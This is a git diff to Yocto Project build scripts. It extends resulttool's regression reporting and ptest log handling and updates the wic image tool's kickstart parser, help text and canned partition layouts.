+a6f89e2100d9b6cdffcea4f398e37343,LGPL-2.1-only
+b234ee4d69f5fce4486a80fdaf4a4263,GPL-2.0-only
+bbb461211a33b134d42ed5ee802b37ff,LGPL-2.1-only
+bfe1f75d606912a4111c90743d6c7325,MPL-1.1-only
+c93c0550bd3173f4504b2cbd8991e50b,GPL-2.0-only
+d32239bcb673463ab874e80d47fae504,GPL-3.0-only
+d7810fab7487fb0aad327b76f1be7cd7,GPL-2.0-only
+d8045f3b8f929c1cb29a1e3fd737b499,LGPL-2.1-only
+db979804f025cf55aabec7129cb671ed,LGPL-2.0-only
+eb723b61539feef013de476e68b5c50a,GPL-2.0-only
+ebb5c50ab7cab4baeffba14977030c07,GPL-2.0-only
+f27defe1e96c2e1ecd4e0c9be8967949,GPL-3.0-only
+fad9b3332be894bab9bc501572864b29,LGPL-2.1-only
+fbc093901857fcd118f065f900982c24,LGPL-2.1-only
diff --git a/scripts/lib/recipetool/setvar.py b/scripts/lib/recipetool/setvar.py
index f8e2ee75fb..b5ad335cae 100644
--- a/scripts/lib/recipetool/setvar.py
+++ b/scripts/lib/recipetool/setvar.py
@@ -49,6 +49,7 @@ def setvar(args):
for patch in patches:
for line in patch:
sys.stdout.write(line)
+ tinfoil.modified_files()
return 0
diff --git a/scripts/lib/resulttool/log.py b/scripts/lib/resulttool/log.py
index eb3927ec82..15148ca288 100644
--- a/scripts/lib/resulttool/log.py
+++ b/scripts/lib/resulttool/log.py
@@ -28,12 +28,10 @@ def show_reproducible(result, reproducible, logger):
def log(args, logger):
results = resultutils.load_resultsdata(args.source)
- ptest_count = sum(1 for _, _, _, r in resultutils.test_run_results(results) if 'ptestresult.sections' in r)
- if ptest_count > 1 and not args.prepend_run:
- print("%i ptest sections found. '--prepend-run' is required" % ptest_count)
- return 1
-
for _, run_name, _, r in resultutils.test_run_results(results):
+ if args.list_ptest:
+ print('\n'.join(sorted(r['ptestresult.sections'].keys())))
+
if args.dump_ptest:
for sectname in ['ptestresult.sections', 'ltpposixresult.sections', 'ltpresult.sections']:
if sectname in r:
@@ -48,6 +46,9 @@ def log(args, logger):
os.makedirs(dest_dir, exist_ok=True)
dest = os.path.join(dest_dir, '%s.log' % name)
+ if os.path.exists(dest):
+ print("Overlapping ptest logs found, skipping %s. The '--prepend-run' option would avoid this" % name)
+ continue
print(dest)
with open(dest, 'w') as f:
f.write(logdata)
@@ -86,6 +87,8 @@ def register_commands(subparsers):
parser.set_defaults(func=log)
parser.add_argument('source',
help='the results file/directory/URL to import')
+ parser.add_argument('--list-ptest', action='store_true',
+ help='list the ptest test names')
parser.add_argument('--ptest', action='append', default=[],
help='show logs for a ptest')
parser.add_argument('--dump-ptest', metavar='DIR',
diff --git a/scripts/lib/resulttool/regression.py b/scripts/lib/resulttool/regression.py
index 9f952951b3..10e7d13841 100644
--- a/scripts/lib/resulttool/regression.py
+++ b/scripts/lib/resulttool/regression.py
@@ -7,15 +7,209 @@
#
import resulttool.resultutils as resultutils
-import json
from oeqa.utils.git import GitRepo
import oeqa.utils.gitarchive as gitarchive
-def compare_result(logger, base_name, target_name, base_result, target_result):
+METADATA_MATCH_TABLE = {
+ "oeselftest": "OESELFTEST_METADATA"
+}
+
+OESELFTEST_METADATA_GUESS_TABLE={
+ "trigger-build-posttrigger": {
+ "run_all_tests": False,
+ "run_tests":["buildoptions.SourceMirroring.test_yocto_source_mirror"],
+ "skips": None,
+ "machine": None,
+ "select_tags":None,
+ "exclude_tags": None
+ },
+ "reproducible": {
+ "run_all_tests": False,
+ "run_tests":["reproducible"],
+ "skips": None,
+ "machine": None,
+ "select_tags":None,
+ "exclude_tags": None
+ },
+ "arch-qemu-quick": {
+ "run_all_tests": True,
+ "run_tests":None,
+ "skips": None,
+ "machine": None,
+ "select_tags":["machine"],
+ "exclude_tags": None
+ },
+ "arch-qemu-full-x86-or-x86_64": {
+ "run_all_tests": True,
+ "run_tests":None,
+ "skips": None,
+ "machine": None,
+ "select_tags":["machine", "toolchain-system"],
+ "exclude_tags": None
+ },
+ "arch-qemu-full-others": {
+ "run_all_tests": True,
+ "run_tests":None,
+ "skips": None,
+ "machine": None,
+ "select_tags":["machine", "toolchain-user"],
+ "exclude_tags": None
+ },
+ "selftest": {
+ "run_all_tests": True,
+ "run_tests":None,
+ "skips": ["distrodata.Distrodata.test_checkpkg", "buildoptions.SourceMirroring.test_yocto_source_mirror", "reproducible"],
+ "machine": None,
+ "select_tags":None,
+ "exclude_tags": ["machine", "toolchain-system", "toolchain-user"]
+ },
+ "bringup": {
+ "run_all_tests": True,
+ "run_tests":None,
+ "skips": ["distrodata.Distrodata.test_checkpkg", "buildoptions.SourceMirroring.test_yocto_source_mirror"],
+ "machine": None,
+ "select_tags":None,
+ "exclude_tags": ["machine", "toolchain-system", "toolchain-user"]
+ }
+}
+
+STATUS_STRINGS = {
+ "None": "No matching test result"
+}
+
+REGRESSIONS_DISPLAY_LIMIT=50
+
+MISSING_TESTS_BANNER = "-------------------------- Missing tests --------------------------"
+ADDITIONAL_DATA_BANNER = "--------------------- Matches and improvements --------------------"
+
+def test_has_at_least_one_matching_tag(test, tag_list):
+ return "oetags" in test and any(oetag in tag_list for oetag in test["oetags"])
+
+def all_tests_have_at_least_one_matching_tag(results, tag_list):
+ return all(test_has_at_least_one_matching_tag(test_result, tag_list) or test_name.startswith("ptestresult") for (test_name, test_result) in results.items())
+
+def any_test_have_any_matching_tag(results, tag_list):
+ return any(test_has_at_least_one_matching_tag(test, tag_list) for test in results.values())
+
+def have_skipped_test(result, test_prefix):
+ return all( result[test]['status'] == "SKIPPED" for test in result if test.startswith(test_prefix))
+
+def have_all_tests_skipped(result, test_prefixes_list):
+ return all(have_skipped_test(result, test_prefix) for test_prefix in test_prefixes_list)
+
+def guess_oeselftest_metadata(results):
+ """
+ When an oeselftest test result is lacking OESELFTEST_METADATA, we can try to guess it based on results content.
+ Check results for specific values (absence/presence of oetags, number and name of executed tests...),
+ and if it matches one of known configuration from autobuilder configuration, apply guessed OSELFTEST_METADATA
+ to it to allow proper test filtering.
+ This guessing process is tightly coupled to config.json in autobuilder. It should trigger less and less,
+ as new tests will have OESELFTEST_METADATA properly appended at test reporting time
+ """
+
+ if len(results) == 1 and "buildoptions.SourceMirroring.test_yocto_source_mirror" in results:
+ return OESELFTEST_METADATA_GUESS_TABLE['trigger-build-posttrigger']
+ elif all(result.startswith("reproducible") for result in results):
+ return OESELFTEST_METADATA_GUESS_TABLE['reproducible']
+ elif all_tests_have_at_least_one_matching_tag(results, ["machine"]):
+ return OESELFTEST_METADATA_GUESS_TABLE['arch-qemu-quick']
+ elif all_tests_have_at_least_one_matching_tag(results, ["machine", "toolchain-system"]):
+ return OESELFTEST_METADATA_GUESS_TABLE['arch-qemu-full-x86-or-x86_64']
+ elif all_tests_have_at_least_one_matching_tag(results, ["machine", "toolchain-user"]):
+ return OESELFTEST_METADATA_GUESS_TABLE['arch-qemu-full-others']
+ elif not any_test_have_any_matching_tag(results, ["machine", "toolchain-user", "toolchain-system"]):
+ if have_all_tests_skipped(results, ["distrodata.Distrodata.test_checkpkg", "buildoptions.SourceMirroring.test_yocto_source_mirror", "reproducible"]):
+ return OESELFTEST_METADATA_GUESS_TABLE['selftest']
+ elif have_all_tests_skipped(results, ["distrodata.Distrodata.test_checkpkg", "buildoptions.SourceMirroring.test_yocto_source_mirror"]):
+ return OESELFTEST_METADATA_GUESS_TABLE['bringup']
+
+ return None
+
+
+def metadata_matches(base_configuration, target_configuration):
+ """
+ For passed base and target, check test type. If test type matches one of
+ properties described in METADATA_MATCH_TABLE, compare metadata if it is
+ present in base. Return true if metadata matches, or if base lacks some
+ data (either TEST_TYPE or the corresponding metadata)
+ """
+ test_type = base_configuration.get('TEST_TYPE')
+ if test_type not in METADATA_MATCH_TABLE:
+ return True
+
+ metadata_key = METADATA_MATCH_TABLE.get(test_type)
+ if target_configuration.get(metadata_key) != base_configuration.get(metadata_key):
+ return False
+
+ return True
+
+
+def machine_matches(base_configuration, target_configuration):
+ return base_configuration.get('MACHINE') == target_configuration.get('MACHINE')
+
+
+def can_be_compared(logger, base, target):
+ """
+ Some tests are not relevant to be compared, for example some oeselftest
+ run with different tests sets or parameters. Return true if tests can be
+ compared
+ """
+ ret = True
+ base_configuration = base['configuration']
+ target_configuration = target['configuration']
+
+ # Older test results lack proper OESELFTEST_METADATA: if not present, try to guess it based on tests results.
+ if base_configuration.get('TEST_TYPE') == 'oeselftest' and 'OESELFTEST_METADATA' not in base_configuration:
+ guess = guess_oeselftest_metadata(base['result'])
+ if guess is None:
+ logger.error(f"ERROR: did not manage to guess oeselftest metadata for {base_configuration['STARTTIME']}")
+ else:
+ logger.debug(f"Enriching {base_configuration['STARTTIME']} with {guess}")
+ base_configuration['OESELFTEST_METADATA'] = guess
+ if target_configuration.get('TEST_TYPE') == 'oeselftest' and 'OESELFTEST_METADATA' not in target_configuration:
+ guess = guess_oeselftest_metadata(target['result'])
+ if guess is None:
+ logger.error(f"ERROR: did not manage to guess oeselftest metadata for {target_configuration['STARTTIME']}")
+ else:
+ logger.debug(f"Enriching {target_configuration['STARTTIME']} with {guess}")
+ target_configuration['OESELFTEST_METADATA'] = guess
+
+ # Test runs with LTP results in should only be compared with other runs with LTP tests in them
+ if base_configuration.get('TEST_TYPE') == 'runtime' and any(result.startswith("ltpresult") for result in base['result']):
+ ret = target_configuration.get('TEST_TYPE') == 'runtime' and any(result.startswith("ltpresult") for result in target['result'])
+
+ return ret and metadata_matches(base_configuration, target_configuration) \
+ and machine_matches(base_configuration, target_configuration)
+
+def get_status_str(raw_status):
+ raw_status_lower = raw_status.lower() if raw_status else "None"
+ return STATUS_STRINGS.get(raw_status_lower, raw_status)
+
+def get_additional_info_line(new_pass_count, new_tests):
+ result=[]
+ if new_tests:
+ result.append(f'+{new_tests} test(s) present')
+ if new_pass_count:
+ result.append(f'+{new_pass_count} test(s) now passing')
+
+ if not result:
+ return ""
+
+ return ' -> ' + ', '.join(result) + '\n'
+
+def compare_result(logger, base_name, target_name, base_result, target_result, display_limit=None):
base_result = base_result.get('result')
target_result = target_result.get('result')
result = {}
+ new_tests = 0
+ regressions = {}
+ resultstring = ""
+ new_tests = 0
+ new_pass_count = 0
+
+ display_limit = int(display_limit) if display_limit else REGRESSIONS_DISPLAY_LIMIT
+
if base_result and target_result:
for k in base_result:
base_testcase = base_result[k]
@@ -27,12 +221,47 @@ def compare_result(logger, base_name, target_name, base_result, target_result):
result[k] = {'base': base_status, 'target': target_status}
else:
logger.error('Failed to retrieved base test case status: %s' % k)
+
+ # Also count new tests that were not present in base results: it
+ # could be newly added tests, but it could also highlights some tests
+ # renames or fixed faulty ptests
+ for k in target_result:
+ if k not in base_result:
+ new_tests += 1
if result:
- resultstring = "Regression: %s\n %s\n" % (base_name, target_name)
- for k in sorted(result):
- resultstring += ' %s: %s -> %s\n' % (k, result[k]['base'], result[k]['target'])
+ new_pass_count = sum(test['target'] is not None and test['target'].startswith("PASS") for test in result.values())
+ # Print a regression report only if at least one test has a regression status (FAIL, SKIPPED, absent...)
+ if new_pass_count < len(result):
+ resultstring = "Regression: %s\n %s\n" % (base_name, target_name)
+ for k in sorted(result):
+ if not result[k]['target'] or not result[k]['target'].startswith("PASS"):
+ # Differentiate each ptest kind when listing regressions
+ key_parts = k.split('.')
+ key = '.'.join(key_parts[:2]) if k.startswith('ptest') else key_parts[0]
+ # Append new regression to corresponding test family
+ regressions[key] = regressions.setdefault(key, []) + [' %s: %s -> %s\n' % (k, get_status_str(result[k]['base']), get_status_str(result[k]['target']))]
+ resultstring += f" Total: {sum([len(regressions[r]) for r in regressions])} new regression(s):\n"
+ for k in regressions:
+ resultstring += f" {len(regressions[k])} regression(s) for {k}\n"
+ count_to_print=min([display_limit, len(regressions[k])]) if display_limit > 0 else len(regressions[k])
+ resultstring += ''.join(regressions[k][:count_to_print])
+ if count_to_print < len(regressions[k]):
+ resultstring+=' [...]\n'
+ if new_pass_count > 0:
+ resultstring += f' Additionally, {new_pass_count} previously failing test(s) is/are now passing\n'
+ if new_tests > 0:
+ resultstring += f' Additionally, {new_tests} new test(s) is/are present\n'
+ else:
+ resultstring = "%s\n%s\n" % (base_name, target_name)
+ result = None
else:
- resultstring = "Match: %s\n %s" % (base_name, target_name)
+ resultstring = "%s\n%s\n" % (base_name, target_name)
+
+ if not result:
+ additional_info = get_additional_info_line(new_pass_count, new_tests)
+ if additional_info:
+ resultstring += additional_info
+
return result, resultstring
def get_results(logger, source):
@@ -44,12 +273,38 @@ def regression(args, logger):
regression_common(args, logger, base_results, target_results)
+# Some test case naming is poor and contains random strings, particularly lttng/babeltrace.
+# Truncating the test names works since they contain file and line number identifiers
+# which allows us to match them without the random components.
+def fixup_ptest_names(results, logger):
+ for r in results:
+ for i in results[r]:
+ tests = list(results[r][i]['result'].keys())
+ for test in tests:
+ new = None
+ if test.startswith(("ptestresult.lttng-tools.", "ptestresult.babeltrace.", "ptestresult.babeltrace2")) and "_-_" in test:
+ new = test.split("_-_")[0]
+ elif test.startswith(("ptestresult.curl.")) and "__" in test:
+ new = test.split("__")[0]
+ elif test.startswith(("ptestresult.dbus.")) and "__" in test:
+ new = test.split("__")[0]
+ elif test.startswith("ptestresult.binutils") and "build-st-" in test:
+ new = test.split(" ")[0]
+ elif test.startswith("ptestresult.gcc") and "/tmp/runtest." in test:
+ new = ".".join(test.split(".")[:2])
+ if new:
+ results[r][i]['result'][new] = results[r][i]['result'][test]
+ del results[r][i]['result'][test]
+
def regression_common(args, logger, base_results, target_results):
if args.base_result_id:
base_results = resultutils.filter_resultsdata(base_results, args.base_result_id)
if args.target_result_id:
target_results = resultutils.filter_resultsdata(target_results, args.target_result_id)
+ fixup_ptest_names(base_results, logger)
+ fixup_ptest_names(target_results, logger)
+
matches = []
regressions = []
notfound = []
@@ -62,7 +317,9 @@ def regression_common(args, logger, base_results, target_results):
# removing any pairs which match
for c in base.copy():
for b in target.copy():
- res, resstr = compare_result(logger, c, b, base_results[a][c], target_results[a][b])
+ if not can_be_compared(logger, base_results[a][c], target_results[a][b]):
+ continue
+ res, resstr = compare_result(logger, c, b, base_results[a][c], target_results[a][b], args.limit)
if not res:
matches.append(resstr)
base.remove(c)
@@ -71,15 +328,18 @@ def regression_common(args, logger, base_results, target_results):
# Should only now see regressions, we may not be able to match multiple pairs directly
for c in base:
for b in target:
- res, resstr = compare_result(logger, c, b, base_results[a][c], target_results[a][b])
+ if not can_be_compared(logger, base_results[a][c], target_results[a][b]):
+ continue
+ res, resstr = compare_result(logger, c, b, base_results[a][c], target_results[a][b], args.limit)
if res:
regressions.append(resstr)
else:
notfound.append("%s not found in target" % a)
- print("\n".join(sorted(matches)))
print("\n".join(sorted(regressions)))
+ print("\n" + MISSING_TESTS_BANNER + "\n")
print("\n".join(sorted(notfound)))
-
+ print("\n" + ADDITIONAL_DATA_BANNER + "\n")
+ print("\n".join(sorted(matches)))
return 0
def regression_git(args, logger):
@@ -183,4 +443,5 @@ def register_commands(subparsers):
parser_build.add_argument('--commit-number', help="Revision number to search for, redundant if --commit is specified")
parser_build.add_argument('--commit2', help="Revision to compare with")
parser_build.add_argument('--commit-number2', help="Revision number to compare with, redundant if --commit2 is specified")
+ parser_build.add_argument('-l', '--limit', default=REGRESSIONS_DISPLAY_LIMIT, help="Maximum number of changes to display per test. Can be set to 0 to print all changes")
diff --git a/scripts/lib/resulttool/report.py b/scripts/lib/resulttool/report.py
index f0ca50ebe2..a349510ab8 100644
--- a/scripts/lib/resulttool/report.py
+++ b/scripts/lib/resulttool/report.py
@@ -176,7 +176,10 @@ class ResultsTextReport(object):
vals['sort'] = line['testseries'] + "_" + line['result_id']
vals['failed_testcases'] = line['failed_testcases']
for k in cols:
- vals[k] = "%d (%s%%)" % (line[k], format(line[k] / total_tested * 100, '.0f'))
+ if total_tested:
+ vals[k] = "%d (%s%%)" % (line[k], format(line[k] / total_tested * 100, '.0f'))
+ else:
+ vals[k] = "0 (0%)"
for k in maxlen:
if k in vals and len(vals[k]) > maxlen[k]:
maxlen[k] = len(vals[k])
diff --git a/scripts/lib/resulttool/resultutils.py b/scripts/lib/resulttool/resultutils.py
index 8917022d36..c5521d81bd 100644
--- a/scripts/lib/resulttool/resultutils.py
+++ b/scripts/lib/resulttool/resultutils.py
@@ -58,7 +58,11 @@ def append_resultsdata(results, f, configmap=store_map, configvars=extra_configv
testseries = posixpath.basename(posixpath.dirname(url.path))
else:
with open(f, "r") as filedata:
- data = json.load(filedata)
+ try:
+ data = json.load(filedata)
+ except json.decoder.JSONDecodeError:
+ print("Cannot decode {}. Possible corruption. Skipping.".format(f))
+ data = ""
testseries = os.path.basename(os.path.dirname(f))
else:
data = f
@@ -142,7 +146,7 @@ def generic_get_log(sectionname, results, section):
return decode_log(ptest['log'])
def ptestresult_get_log(results, section):
- return generic_get_log('ptestresuls.sections', results, section)
+ return generic_get_log('ptestresult.sections', results, section)
def generic_get_rawlogs(sectname, results):
if sectname not in results:
diff --git a/scripts/lib/scriptutils.py b/scripts/lib/scriptutils.py
index f92255d8dc..f23e53cba9 100644
--- a/scripts/lib/scriptutils.py
+++ b/scripts/lib/scriptutils.py
@@ -5,7 +5,6 @@
# SPDX-License-Identifier: GPL-2.0-only
#
-import argparse
import glob
import logging
import os
@@ -18,13 +17,14 @@ import sys
import tempfile
import threading
import importlib
-from importlib import machinery
+import importlib.machinery
+import importlib.util
class KeepAliveStreamHandler(logging.StreamHandler):
def __init__(self, keepalive=True, **kwargs):
super().__init__(**kwargs)
if keepalive is True:
- keepalive = 5000 # default timeout
+ keepalive = 5000 # default timeout
self._timeout = threading.Condition()
self._stop = False
@@ -35,9 +35,9 @@ class KeepAliveStreamHandler(logging.StreamHandler):
with self._timeout:
if not self._timeout.wait(keepalive):
self.emit(logging.LogRecord("keepalive", logging.INFO,
- None, None, "Keepalive message", None, None))
+ None, None, "Keepalive message", None, None))
- self._thread = threading.Thread(target = thread, daemon = True)
+ self._thread = threading.Thread(target=thread, daemon=True)
self._thread.start()
def close(self):
@@ -71,18 +71,19 @@ def logger_setup_color(logger, color='auto'):
for handler in logger.handlers:
if (isinstance(handler, logging.StreamHandler) and
- isinstance(handler.formatter, BBLogFormatter)):
+ isinstance(handler.formatter, BBLogFormatter)):
if color == 'always' or (color == 'auto' and handler.stream.isatty()):
handler.formatter.enable_color()
def load_plugins(logger, plugins, pluginpath):
-
def load_plugin(name):
logger.debug('Loading plugin %s' % name)
- spec = importlib.machinery.PathFinder.find_spec(name, path=[pluginpath] )
+ spec = importlib.machinery.PathFinder.find_spec(name, path=[pluginpath])
if spec:
- return spec.loader.load_module()
+ mod = importlib.util.module_from_spec(spec)
+ spec.loader.exec_module(mod)
+ return mod
def plugin_name(filename):
return os.path.splitext(os.path.basename(filename))[0]
@@ -176,6 +177,7 @@ def fetch_url(tinfoil, srcuri, srcrev, destdir, logger, preserve_tmp=False, mirr
f.write('BB_STRICT_CHECKSUM = "ignore"\n')
f.write('SRC_URI = "%s"\n' % srcuri)
f.write('SRCREV = "%s"\n' % srcrev)
+ f.write('PV = "0.0+"\n')
f.write('WORKDIR = "%s"\n' % tmpworkdir)
# Set S out of the way so it doesn't get created under the workdir
f.write('S = "%s"\n' % os.path.join(tmpdir, 'emptysrc'))
@@ -215,7 +217,8 @@ def fetch_url(tinfoil, srcuri, srcrev, destdir, logger, preserve_tmp=False, mirr
pathvars = ['T', 'RECIPE_SYSROOT', 'RECIPE_SYSROOT_NATIVE']
for pathvar in pathvars:
path = rd.getVar(pathvar)
- shutil.rmtree(path)
+ if os.path.exists(path):
+ shutil.rmtree(path)
finally:
if fetchrecipe:
try:
@@ -274,6 +277,6 @@ def filter_src_subdirs(pth):
Used by devtool and recipetool.
"""
dirlist = os.listdir(pth)
- filterout = ['git.indirectionsymlink', 'source-date-epoch']
+ filterout = ['git.indirectionsymlink', 'source-date-epoch', 'sstate-install-recipe_qa']
dirlist = [x for x in dirlist if x not in filterout]
return dirlist
diff --git a/scripts/lib/wic/canned-wks/efi-bootdisk.wks.in b/scripts/lib/wic/canned-wks/efi-bootdisk.wks.in
index 7300e65e32..2fd286ff98 100644
--- a/scripts/lib/wic/canned-wks/efi-bootdisk.wks.in
+++ b/scripts/lib/wic/canned-wks/efi-bootdisk.wks.in
@@ -1,3 +1,3 @@
bootloader --ptable gpt
-part /boot --source rootfs --rootfs-dir=${IMAGE_ROOTFS}/boot --fstype=vfat --label boot --active --align 1024 --use-uuid --overhead-factor 1.0
+part /boot --source rootfs --rootfs-dir=${IMAGE_ROOTFS}/boot --fstype=vfat --label boot --active --align 1024 --use-uuid --overhead-factor 1.1
part / --source rootfs --fstype=ext4 --label root --align 1024 --exclude-path boot/
diff --git a/scripts/lib/wic/canned-wks/qemuloongarch.wks b/scripts/lib/wic/canned-wks/qemuloongarch.wks
new file mode 100644
index 0000000000..8465c7a8c0
--- /dev/null
+++ b/scripts/lib/wic/canned-wks/qemuloongarch.wks
@@ -0,0 +1,3 @@
+# short-description: Create qcow2 image for LoongArch QEMU machines
+
+part / --source rootfs --fstype=ext4 --label root --align 4096 --size 5G
diff --git a/scripts/lib/wic/canned-wks/qemux86-directdisk.wks b/scripts/lib/wic/canned-wks/qemux86-directdisk.wks
index 22b45217f1..808997611a 100644
--- a/scripts/lib/wic/canned-wks/qemux86-directdisk.wks
+++ b/scripts/lib/wic/canned-wks/qemux86-directdisk.wks
@@ -4,5 +4,5 @@
include common.wks.inc
-bootloader --timeout=0 --append="rw oprofile.timer=1 rootfstype=ext4 "
+bootloader --timeout=0 --append="rw oprofile.timer=1 rootfstype=ext4 console=tty console=ttyS0 "
diff --git a/scripts/lib/wic/engine.py b/scripts/lib/wic/engine.py
index 018815b966..674ccfc244 100644
--- a/scripts/lib/wic/engine.py
+++ b/scripts/lib/wic/engine.py
@@ -19,10 +19,10 @@ import os
import tempfile
import json
import subprocess
+import shutil
import re
from collections import namedtuple, OrderedDict
-from distutils.spawn import find_executable
from wic import WicError
from wic.filemap import sparse_copy
@@ -245,7 +245,7 @@ class Disk:
for path in pathlist.split(':'):
self.paths = "%s%s:%s" % (native_sysroot, path, self.paths)
- self.parted = find_executable("parted", self.paths)
+ self.parted = shutil.which("parted", path=self.paths)
if not self.parted:
raise WicError("Can't find executable parted")
@@ -283,7 +283,7 @@ class Disk:
"resize2fs", "mkswap", "mkdosfs", "debugfs","blkid"):
aname = "_%s" % name
if aname not in self.__dict__:
- setattr(self, aname, find_executable(name, self.paths))
+ setattr(self, aname, shutil.which(name, path=self.paths))
if aname not in self.__dict__ or self.__dict__[aname] is None:
raise WicError("Can't find executable '{}'".format(name))
return self.__dict__[aname]
diff --git a/scripts/lib/wic/filemap.py b/scripts/lib/wic/filemap.py
index 4d9da28172..85b39d5d74 100644
--- a/scripts/lib/wic/filemap.py
+++ b/scripts/lib/wic/filemap.py
@@ -46,6 +46,13 @@ def get_block_size(file_obj):
bsize = stat.st_blksize
else:
raise IOError("Unable to determine block size")
+
+ # The logic in this script only supports a maximum of a 4KB
+ # block size
+ max_block_size = 4 * 1024
+ if bsize > max_block_size:
+ bsize = max_block_size
+
return bsize
class ErrorNotSupp(Exception):
diff --git a/scripts/lib/wic/help.py b/scripts/lib/wic/help.py
index bd3a2b97df..163535e431 100644
--- a/scripts/lib/wic/help.py
+++ b/scripts/lib/wic/help.py
@@ -637,7 +637,7 @@ DESCRIPTION
oe-core: directdisk.bbclass and mkefidisk.sh. The difference
between wic and those examples is that with wic the functionality
of those scripts is implemented by a general-purpose partitioning
- 'language' based on Redhat kickstart syntax).
+ 'language' based on Red Hat kickstart syntax).
The initial motivation and design considerations that lead to the
current tool are described exhaustively in Yocto Bug #3847
@@ -840,8 +840,8 @@ DESCRIPTION
meanings. The commands are based on the Fedora kickstart
documentation but with modifications to reflect wic capabilities.
- http://fedoraproject.org/wiki/Anaconda/Kickstart#part_or_partition
- http://fedoraproject.org/wiki/Anaconda/Kickstart#bootloader
+ https://pykickstart.readthedocs.io/en/latest/kickstart-docs.html#part-or-partition
+ https://pykickstart.readthedocs.io/en/latest/kickstart-docs.html#bootloader
Commands
@@ -930,6 +930,7 @@ DESCRIPTION
ext4
btrfs
squashfs
+ erofs
swap
--fsoptions: Specifies a free-form string of options to be
@@ -939,6 +940,12 @@ DESCRIPTION
quotes. If not specified, the default string is
"defaults".
+ --fspassno: Specifies the order in which filesystem checks are done
+ at boot time by fsck. See fs_passno parameter of
+ fstab(5). This parameter will be copied into the
+ /etc/fstab file of the installed system. If not
+ specified the default value of "0" will be used.
+
--label label: Specifies the label to give to the filesystem
to be made on the partition. If the given
label is already in use by another filesystem,
@@ -990,6 +997,9 @@ DESCRIPTION
multiple partitions and we want to keep the right
permissions and usernames in all the partitions.
+ --no-fstab-update: This option is specific to wic. It does not update the
+ '/etc/fstab' stock file for the given partition.
+
--extra-space: This option is specific to wic. It adds extra
space after the space filled by the content
of the partition. The final size can go
@@ -1108,7 +1118,7 @@ COMMAND:
TOPIC:
overview - Presents an overall overview of Wic
plugins - Presents an overview and API for Wic plugins
- kickstart - Presents a Wic kicstart file reference
+ kickstart - Presents a Wic kickstart file reference
Examples:
diff --git a/scripts/lib/wic/ksparser.py b/scripts/lib/wic/ksparser.py
index 3453d9cb9d..7ef3dc83dd 100644
--- a/scripts/lib/wic/ksparser.py
+++ b/scripts/lib/wic/ksparser.py
@@ -51,11 +51,11 @@ class KickStartParser(ArgumentParser):
def error(self, message):
raise ArgumentError(None, message)
-def sizetype(default):
+def sizetype(default, size_in_bytes=False):
def f(arg):
"""
Custom type for ArgumentParser
- Converts size string in <num>[K|k|M|G] format into the integer value
+ Converts size string in <num>[S|s|K|k|M|G] format into the integer value
"""
try:
suffix = default
@@ -67,12 +67,20 @@ def sizetype(default):
except ValueError:
raise ArgumentTypeError("Invalid size: %r" % arg)
+
+ if size_in_bytes:
+ if suffix == 's' or suffix == 'S':
+ return size * 512
+ mult = 1024
+ else:
+ mult = 1
+
if suffix == "k" or suffix == "K":
- return size
+ return size * mult
if suffix == "M":
- return size * 1024
+ return size * mult * 1024
if suffix == "G":
- return size * 1024 * 1024
+ return size * mult * 1024 * 1024
raise ArgumentTypeError("Invalid size: %r" % arg)
return f
@@ -141,15 +149,17 @@ class KickStart():
part.add_argument('mountpoint', nargs='?')
part.add_argument('--active', action='store_true')
part.add_argument('--align', type=int)
- part.add_argument('--offset', type=sizetype("K"))
+ part.add_argument('--offset', type=sizetype("K", True))
part.add_argument('--exclude-path', nargs='+')
part.add_argument('--include-path', nargs='+', action='append')
part.add_argument('--change-directory')
part.add_argument("--extra-space", type=sizetype("M"))
part.add_argument('--fsoptions', dest='fsopts')
+ part.add_argument('--fspassno', dest='fspassno')
part.add_argument('--fstype', default='vfat',
choices=('ext2', 'ext3', 'ext4', 'btrfs',
- 'squashfs', 'vfat', 'msdos', 'swap'))
+ 'squashfs', 'vfat', 'msdos', 'erofs',
+ 'swap', 'none'))
part.add_argument('--mkfs-extraopts', default='')
part.add_argument('--label')
part.add_argument('--use-label', action='store_true')
@@ -161,6 +171,7 @@ class KickStart():
part.add_argument('--rootfs-dir')
part.add_argument('--type', default='primary',
choices = ('primary', 'logical'))
+ part.add_argument('--hidden', action='store_true')
# --size and --fixed-size cannot be specified together; options
# ----extra-space and --overhead-factor should also raise a parser
@@ -176,11 +187,13 @@ class KickStart():
part.add_argument('--use-uuid', action='store_true')
part.add_argument('--uuid')
part.add_argument('--fsuuid')
+ part.add_argument('--no-fstab-update', action='store_true')
+ part.add_argument('--mbr', action='store_true')
bootloader = subparsers.add_parser('bootloader')
bootloader.add_argument('--append')
bootloader.add_argument('--configfile')
- bootloader.add_argument('--ptable', choices=('msdos', 'gpt'),
+ bootloader.add_argument('--ptable', choices=('msdos', 'gpt', 'gpt-hybrid'),
default='msdos')
bootloader.add_argument('--timeout', type=int)
bootloader.add_argument('--source')
@@ -221,6 +234,27 @@ class KickStart():
err = "%s:%d: SquashFS does not support LABEL" \
% (confpath, lineno)
raise KickStartError(err)
+ # erofs does not support filesystem labels
+ if parsed.fstype == 'erofs' and parsed.label:
+ err = "%s:%d: erofs does not support LABEL" % (confpath, lineno)
+ raise KickStartError(err)
+ if parsed.fstype == 'msdos' or parsed.fstype == 'vfat':
+ if parsed.fsuuid:
+ if parsed.fsuuid.upper().startswith('0X'):
+ if len(parsed.fsuuid) > 10:
+ err = "%s:%d: fsuuid %s given in wks kickstart file " \
+ "exceeds the length limit for %s filesystem. " \
+ "It should be in the form of a 32 bit hexadecimal" \
+ "number (for example, 0xABCD1234)." \
+ % (confpath, lineno, parsed.fsuuid, parsed.fstype)
+ raise KickStartError(err)
+ elif len(parsed.fsuuid) > 8:
+ err = "%s:%d: fsuuid %s given in wks kickstart file " \
+ "exceeds the length limit for %s filesystem. " \
+ "It should be in the form of a 32 bit hexadecimal" \
+ "number (for example, 0xABCD1234)." \
+ % (confpath, lineno, parsed.fsuuid, parsed.fstype)
+ raise KickStartError(err)
if parsed.use_label and not parsed.label:
err = "%s:%d: Must set the label with --label" \
% (confpath, lineno)
diff --git a/scripts/lib/wic/misc.py b/scripts/lib/wic/misc.py
index 91975ba151..1a7c140fa6 100644
--- a/scripts/lib/wic/misc.py
+++ b/scripts/lib/wic/misc.py
@@ -16,16 +16,17 @@ import logging
import os
import re
import subprocess
+import shutil
from collections import defaultdict
-from distutils import spawn
from wic import WicError
logger = logging.getLogger('wic')
# executable -> recipe pairs for exec_native_cmd
-NATIVE_RECIPES = {"bmaptool": "bmap-tools",
+NATIVE_RECIPES = {"bmaptool": "bmaptool",
+ "dumpe2fs": "e2fsprogs",
"grub-mkimage": "grub-efi",
"isohybrid": "syslinux",
"mcopy": "mtools",
